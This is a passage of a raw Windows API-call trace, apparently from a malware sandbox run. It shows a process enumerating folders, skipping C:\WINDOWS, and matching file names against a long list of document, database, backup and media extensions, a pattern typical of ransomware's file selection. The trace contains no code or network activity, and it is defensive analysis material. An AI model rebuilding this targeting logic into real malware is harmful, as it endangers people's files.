[0061.217] lstrlenW (lpString=".cfm") returned 4 [0061.217] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0061.217] lstrlenW (lpString=".cfml") returned 5 [0061.217] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0061.217] lstrlenW (lpString=".cfu") returned 4 [0061.217] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0061.217] lstrlenW (lpString=".chm") returned 4 [0061.217] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0061.217] lstrlenW (lpString=".cin") returned 4 [0061.217] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0061.217] lstrlenW (lpString=".class") returned 6 [0061.217] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0061.217] lstrlenW (lpString=".clx") returned 4 [0061.217] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0061.217] lstrlenW (lpString=".config") returned 7 [0061.217] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0061.217] lstrlenW (lpString=".cpp") returned 4 [0061.217] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0061.217] lstrlenW (lpString=".cr2") returned 4 [0061.217] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0061.217] lstrlenW (lpString=".crt") returned 4 [0061.217] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0061.217] lstrlenW (lpString=".crw") returned 4 [0061.217] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0061.218] lstrlenW (lpString=".cs") returned 3 [0061.218] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0061.218] lstrlenW (lpString=".css") returned 4 [0061.218] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0061.218] lstrlenW (lpString=".csv") returned 4 [0061.218] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0061.218] lstrlenW (lpString=".cub") returned 4 [0061.218] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0061.218] lstrlenW (lpString=".dae") returned 4 [0061.218] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0061.218] lstrlenW (lpString=".dat") returned 4 [0061.218] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0061.218] lstrlenW (lpString=".db") returned 3 [0061.218] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0061.218] lstrlenW (lpString=".dbf") returned 4 [0061.218] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0061.218] lstrlenW (lpString=".dbx") returned 4 [0061.218] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0061.218] lstrlenW (lpString=".dc3") returned 4 [0061.218] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0061.218] lstrlenW (lpString=".dcm") returned 4 [0061.218] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0061.218] lstrlenW (lpString=".dcr") returned 4 [0061.218] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0061.218] lstrlenW (lpString=".der") returned 4 [0061.218] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0061.218] lstrlenW (lpString=".dib") returned 4 [0061.218] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0061.219] lstrlenW (lpString=".dic") returned 4 [0061.219] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0061.219] lstrlenW (lpString=".dif") returned 4 [0061.219] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0061.219] lstrlenW (lpString=".divx") returned 5 [0061.219] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0061.219] lstrlenW (lpString=".djvu") returned 5 [0061.219] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0061.219] lstrlenW (lpString=".dng") returned 4 [0061.219] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0061.219] lstrlenW (lpString=".doc") returned 4 [0061.219] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0061.219] lstrlenW (lpString=".docm") returned 5 [0061.219] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0061.219] lstrlenW (lpString=".docx") returned 5 [0061.219] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0061.219] lstrlenW (lpString=".dot") returned 4 [0061.219] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0061.219] lstrlenW (lpString=".dotm") returned 5 [0061.219] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0061.219] lstrlenW (lpString=".dotx") returned 5 [0061.219] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0061.219] lstrlenW (lpString=".dpx") returned 4 [0061.219] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0061.219] lstrlenW (lpString=".dqy") returned 4 [0061.219] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0061.219] lstrlenW (lpString=".dsn") returned 4 [0061.219] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0061.219] lstrlenW (lpString=".dt") returned 3 [0061.220] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0061.220] lstrlenW (lpString=".dtd") returned 4 [0061.220] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0061.220] lstrlenW (lpString=".dwg") returned 4 [0061.220] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0061.220] lstrlenW (lpString=".dwt") returned 4 [0061.220] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0061.220] lstrlenW (lpString=".dx") returned 3 [0061.220] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0061.220] lstrlenW (lpString=".dxf") returned 4 [0061.220] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0061.220] lstrlenW (lpString=".edml") returned 5 [0061.220] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0061.220] lstrlenW (lpString=".efd") returned 4 [0061.220] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0061.220] lstrlenW (lpString=".elf") returned 4 [0061.220] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0061.220] lstrlenW (lpString=".emf") returned 4 [0061.220] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0061.220] lstrlenW (lpString=".emz") returned 4 [0061.220] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0061.220] lstrlenW (lpString=".epf") returned 4 [0061.220] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0061.220] lstrlenW (lpString=".eps") returned 4 [0061.220] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0061.220] lstrlenW (lpString=".epsf") returned 5 [0061.220] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0061.220] lstrlenW (lpString=".epsp") returned 5 [0061.221] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0061.221] lstrlenW (lpString=".erf") returned 4 [0061.221] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0061.221] lstrlenW (lpString=".exr") returned 4 [0061.221] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0061.221] lstrlenW (lpString=".f4v") returned 4 [0061.221] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0061.221] lstrlenW (lpString=".fido") returned 5 [0061.221] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0061.221] lstrlenW (lpString=".flm") returned 4 [0061.221] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0061.221] lstrlenW (lpString=".flv") returned 4 [0061.221] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0061.221] lstrlenW (lpString=".frm") returned 4 [0061.221] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0061.221] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0061.221] FindClose (in: hFindFile=0x583048 | out: hFindFile=0x583048) returned 1 [0061.222] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0061.222] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0061.222] FindClose (in: hFindFile=0x582cc8 | out: hFindFile=0x582cc8) returned 1 [0061.222] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0061.223] FindNextFileW (in: hFindFile=0x583208, lpFindFileData=0x34dfcf8 | out: lpFindFileData=0x34dfcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77850000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0061.223] FindNextFileW (in: hFindFile=0x583208, lpFindFileData=0x34dfcf8 | out: lpFindFileData=0x34dfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77850000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0061.223] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3780968 [0061.223] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21 [0061.223] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5831c8 [0061.502] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0061.503] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1 [0061.503] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26 [0061.503] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1025") returned 1 [0061.503] lstrlenW (lpString="1025") returned 4 [0061.503] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1025") returned 1 [0061.503] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d70938 [0061.504] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26 [0061.504] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x583188 [0061.508] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.508] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0061.508] lstrlenW (lpString="eula.rtf") returned 8 [0061.508] lstrlenW (lpString=".1cd") returned 4 [0061.508] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0061.508] lstrlenW (lpString=".3ds") returned 4 [0061.508] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0061.508] lstrlenW (lpString=".3fr") returned 4 [0061.508] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0061.508] lstrlenW (lpString=".3g2") returned 4 [0061.508] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0061.508] lstrlenW (lpString=".3gp") returned 4 [0061.508] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0061.508] lstrlenW (lpString=".7z") returned 3 [0061.508] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0061.508] lstrlenW (lpString=".accda") returned 6 [0061.508] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0061.508] lstrlenW (lpString=".accdb") returned 6 [0061.509] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0061.509] lstrlenW (lpString=".accdc") returned 6 [0061.509] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0061.509] lstrlenW (lpString=".accde") returned 6 [0061.509] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0061.509] lstrlenW (lpString=".accdt") returned 6 [0061.509] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0061.509] lstrlenW (lpString=".accdw") returned 6 [0061.509] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0061.509] lstrlenW (lpString=".adb") returned 4 [0061.509] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0061.509] lstrlenW (lpString=".adp") returned 4 [0061.509] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0061.509] lstrlenW (lpString=".ai") returned 3 [0061.509] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0061.509] lstrlenW (lpString=".ai3") returned 4 [0061.509] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0061.509] lstrlenW (lpString=".ai4") returned 4 [0061.509] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0061.509] lstrlenW (lpString=".ai5") returned 4 [0061.510] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0061.510] lstrlenW (lpString=".ai6") returned 4 [0061.510] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0061.510] lstrlenW (lpString=".ai7") returned 4 [0061.510] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0061.510] lstrlenW (lpString=".ai8") returned 4 [0061.510] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0061.510] lstrlenW (lpString=".anim") returned 5 [0061.510] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0061.510] lstrlenW (lpString=".arw") returned 4 [0061.510] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0061.510] lstrlenW (lpString=".as") returned 3 [0061.510] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0061.510] lstrlenW (lpString=".asa") returned 4 [0061.510] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0061.510] lstrlenW (lpString=".asc") returned 4 [0061.510] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0061.510] lstrlenW (lpString=".ascx") returned 5 [0061.510] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0061.510] lstrlenW (lpString=".asm") returned 4 [0061.510] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0061.510] lstrlenW (lpString=".asmx") returned 5 [0061.510] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0061.510] lstrlenW (lpString=".asp") returned 4 [0061.510] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0061.510] lstrlenW (lpString=".aspx") returned 5 [0061.510] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0061.510] lstrlenW (lpString=".asr") returned 4 [0061.510] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0061.510] lstrlenW (lpString=".asx") returned 4 [0061.510] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0061.510] lstrlenW (lpString=".avi") returned 4 [0061.510] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0061.510] lstrlenW (lpString=".avs") returned 4 [0061.510] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0061.510] lstrlenW (lpString=".backup") returned 7 [0061.510] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0061.510] lstrlenW (lpString=".bak") returned 4 [0061.511] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0061.511] lstrlenW (lpString=".bay") returned 4 [0061.511] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0061.511] lstrlenW (lpString=".bd") returned 3 [0061.511] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0061.511] lstrlenW (lpString=".bin") returned 4 [0061.511] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0061.511] lstrlenW (lpString=".bmp") returned 4 [0061.511] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0061.511] lstrlenW (lpString=".bz2") returned 4 [0061.511] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0061.511] lstrlenW (lpString=".c") returned 2 [0061.511] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0061.511] lstrlenW (lpString=".cdr") returned 4 [0061.511] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0061.511] lstrlenW (lpString=".cer") returned 4 [0061.511] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0061.511] lstrlenW (lpString=".cf") returned 3 [0061.511] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0061.511] lstrlenW (lpString=".cfc") returned 4 [0061.511] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0061.511] lstrlenW (lpString=".cfm") returned 4 [0061.511] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0061.511] lstrlenW (lpString=".cfml") returned 5 [0061.511] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0061.511] lstrlenW (lpString=".cfu") returned 4 [0061.511] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0061.511] lstrlenW (lpString=".chm") returned 4 [0061.511] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0061.511] lstrlenW (lpString=".cin") returned 4 [0061.511] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0061.511] lstrlenW (lpString=".class") returned 6 [0061.511] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0061.511] lstrlenW (lpString=".clx") returned 4 [0061.511] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0061.511] lstrlenW (lpString=".config") returned 7 [0061.511] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0061.511] lstrlenW (lpString=".cpp") returned 4 [0061.512] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0061.512] lstrlenW (lpString=".cr2") returned 4 [0061.512] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0061.512] lstrlenW (lpString=".crt") returned 4 [0061.512] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0061.512] lstrlenW (lpString=".crw") returned 4 [0061.512] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0061.512] lstrlenW (lpString=".cs") returned 3 [0061.512] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0061.512] lstrlenW (lpString=".css") returned 4 [0061.512] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0061.512] lstrlenW (lpString=".csv") returned 4 [0061.512] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0061.512] lstrlenW (lpString=".cub") returned 4 [0061.512] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0061.512] lstrlenW (lpString=".dae") returned 4 [0061.512] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0061.512] lstrlenW (lpString=".dat") returned 4 [0061.512] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0061.512] lstrlenW (lpString=".db") returned 3 [0061.512] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0061.512] lstrlenW (lpString=".dbf") returned 4 [0061.512] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0061.512] lstrlenW (lpString=".dbx") returned 4 [0061.512] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0061.512] lstrlenW (lpString=".dc3") returned 4 [0061.512] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0061.512] lstrlenW (lpString=".dcm") returned 4 [0061.512] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0061.512] lstrlenW (lpString=".dcr") returned 4 [0061.512] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0061.512] lstrlenW (lpString=".der") returned 4 [0061.512] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0061.512] lstrlenW (lpString=".dib") returned 4 [0061.512] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0061.512] lstrlenW (lpString=".dic") returned 4 [0061.512] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0061.513] lstrlenW (lpString=".dif") returned 4 [0061.513] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0061.513] lstrlenW (lpString=".divx") returned 5 [0061.513] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0061.513] lstrlenW (lpString=".djvu") returned 5 [0061.513] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0061.513] lstrlenW (lpString=".dng") returned 4 [0061.513] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0061.513] lstrlenW (lpString=".doc") returned 4 [0061.513] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0061.513] lstrlenW (lpString=".docm") returned 5 [0061.513] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0061.513] lstrlenW (lpString=".docx") returned 5 [0061.513] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0061.513] lstrlenW (lpString=".dot") returned 4 [0061.513] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0061.513] lstrlenW (lpString=".dotm") returned 5 [0061.513] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0061.513] lstrlenW (lpString=".dotx") returned 5 [0061.513] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0061.513] lstrlenW (lpString=".dpx") returned 4 [0061.513] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0061.513] lstrlenW (lpString=".dqy") returned 4 [0061.513] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0061.513] lstrlenW (lpString=".dsn") returned 4 [0061.513] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0061.513] lstrlenW (lpString=".dt") returned 3 [0061.513] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0061.513] lstrlenW (lpString=".dtd") returned 4 [0061.513] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0061.513] lstrlenW (lpString=".dwg") returned 4 [0061.513] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0061.513] lstrlenW (lpString=".dwt") returned 4 [0061.513] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0061.513] lstrlenW (lpString=".dx") returned 3 [0061.513] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0061.513] lstrlenW (lpString=".dxf") returned 4 [0061.514] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0061.514] lstrlenW (lpString=".edml") returned 5 [0061.514] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0061.514] lstrlenW (lpString=".efd") returned 4 [0061.514] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0061.514] lstrlenW (lpString=".elf") returned 4 [0061.514] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0061.514] lstrlenW (lpString=".emf") returned 4 [0061.514] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0061.514] lstrlenW (lpString=".emz") returned 4 [0061.514] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0061.514] lstrlenW (lpString=".epf") returned 4 [0061.514] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0061.514] lstrlenW (lpString=".eps") returned 4 [0061.514] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0061.514] lstrlenW (lpString=".epsf") returned 5 [0061.514] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0061.514] lstrlenW (lpString=".epsp") returned 5 [0061.514] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0061.514] lstrlenW (lpString=".erf") returned 4 [0061.514] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0061.514] lstrlenW (lpString=".exr") returned 4 [0061.514] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0061.514] lstrlenW (lpString=".f4v") returned 4 [0061.514] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0061.514] lstrlenW (lpString=".fido") returned 5 [0061.514] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0061.514] lstrlenW (lpString=".flm") returned 4 [0061.514] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0061.514] lstrlenW (lpString=".flv") returned 4 [0061.514] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0061.514] lstrlenW (lpString=".frm") returned 4 [0061.514] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned 